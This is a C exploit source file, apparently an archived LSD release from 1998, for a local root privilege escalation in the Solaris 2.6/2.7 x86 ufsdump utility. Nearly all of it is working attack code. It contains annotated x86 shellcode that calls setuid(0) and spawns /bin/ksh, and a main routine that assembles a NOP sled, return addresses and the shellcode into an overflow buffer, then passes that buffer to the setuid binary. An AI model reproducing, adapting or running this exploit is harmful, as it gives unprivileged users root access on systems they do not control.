/usr/lib/fs/ufs/ufsdump local root exploit for solaris 2.6 2.7 x86.
dd99197d8c434871bd2bcdae9e8b48725c52baea524e626dcab75a9e9bb8c9f8
/*## copyright LAST STAGE OF DELIRIUM apr 1998 poland *://lsd-pl.net/ #*/
/*## /usr/lib/fs/ufs/ufsdump #*/
#define NOPNUM 3000
#define ADRNUM 2000
#define TMPNUM 2000
#define ALLIGN 2
char shellcode[]=
"\x33\xc0" /* xorl %eax,%eax */
"\xeb\x08" /* jmp <shellcode+12> */
"\x5f" /* popl %edi */
"\x47" /* incl %edi */
"\xab" /* stosl %eax,%es:(%edi) */
"\x88\x47\x01" /* movb %al,0x1(%edi) */
"\xeb\x0d" /* jmp <shellcode+25> */
"\xe8\xf3\xff\xff\xff" /* call <shellcode+4> */
"\x9a\xff\xff\xff\xff\x07\xff" /* lcall */
"\xc3" /* ret */
"\x33\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\xb0\x17" /* movb $0x17,%al */
"\xe8\xee\xff\xff\xff" /* call <shellcode+17> */
"\xeb\x16" /* jmp <shellcode+59> */
"\x33\xd2" /* xorl %edx,%edx */
"\x58" /* popl %eax */
"\x8d\x78\x14" /* leal 0x14(%eax),edi */
"\x52" /* pushl %edx */
"\x57" /* pushl %edi */
"\x50" /* pushl %eax */
"\xab" /* stosl %eax,%es:(%edi) */
"\x92" /* xchgl %eax,%edx */
"\xab" /* stosl %eax,%es:(%edi) */
"\x88\x42\x08" /* movb %al,0x7(%edx) */
"\xb0\x3b" /* movb $0x3b,%al */
"\xe8\xd6\xff\xff\xff" /* call <shellcode+17> */
"\xe8\xe5\xff\xff\xff" /* call <shellcode+37> */
"/bin/ksh"
;
char jump[]=
"\x8b\xc4" /* movl %esp,%eax */
"\xc3" /* ret */
;
main(int argc,char **argv){
char buffer[10000],adr[4],tmp[4],*b;
int i;
printf("copyright LAST STAGE OF DELIRIUM apr 1998 poland //lsd-pl.net/\n");
printf("/usr/lib/fs/ufs/ufsdump for solaris 2.6 2.7 x86\n\n");
*((unsigned long*)adr)=(*(unsigned long(*)())jump)()+3236+2000;
*((unsigned long*)tmp)=(*(unsigned long(*)())jump)()+3236;
b=buffer;
for(i=0;i<3;i++) *b++=0xff;
for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
for(i=0;i<NOPNUM;i++) *b++=0x90;
for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
for(i=0;i<TMPNUM;i++) *b++=tmp[i%4];
*b=0;
execl("/usr/lib/fs/ufs/ufsdump","lsd","666",buffer,0);
}
/* www.hack.co.za [9 August 2000]*/